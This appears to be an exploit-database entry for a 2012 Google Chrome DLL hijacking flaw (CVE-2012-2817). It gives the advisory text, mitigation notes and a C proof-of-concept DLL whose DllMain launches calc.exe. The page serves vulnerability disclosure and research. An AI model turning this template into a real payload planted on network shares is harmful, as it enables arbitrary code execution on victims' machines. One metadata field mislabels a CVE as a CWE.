header-logo
Suggest Exploit
vendor:
Chrome
by:
SecurityFocus
7,8
CVSS
HIGH
DLL Hijacking
427
CWE
Product Name: Chrome
Affected Version From: 19.0.1084.21
Affected Version To: 20.0.1132.23
Patch Exists: YES
Related CWE: CVE-2012-2817
CPE: a:google:chrome
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2012

Google Chrome DLL Hijacking Vulnerability

Google Chrome is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Linked Library (DLL) file. The code snippet provided in the text is an example of a DLL hijacking exploit.

Mitigation:

Ensure that the application is running with the least privileges necessary. Ensure that the application is not running with administrative privileges. Ensure that the application is running in a restricted environment. Ensure that the application is running in a sandbox environment.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/54477/info

Google Chrome is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Linked Library (DLL) file.

Google Chrome 19.0.1084.21 through versions 20.0.1132.23 are vulnerable.

Note: This issue was previously discussed in BID 54203 (Google Chrome Prior to 20.0.1132.43 Multiple Security Vulnerabilities), but has been given its own record to better document it. 
*/

#include <windows.h>
int hijack_poc ()
{
 WinExec ( "calc.exe" , SW_NORMAL );
 return 0 ;
}

BOOL WINAPI DllMain
    (    HINSTANCE hinstDLL ,
       DWORD dwReason ,
       LPVOID lpvReserved )
{
 hijack_poc () ;
 return 0 ;
}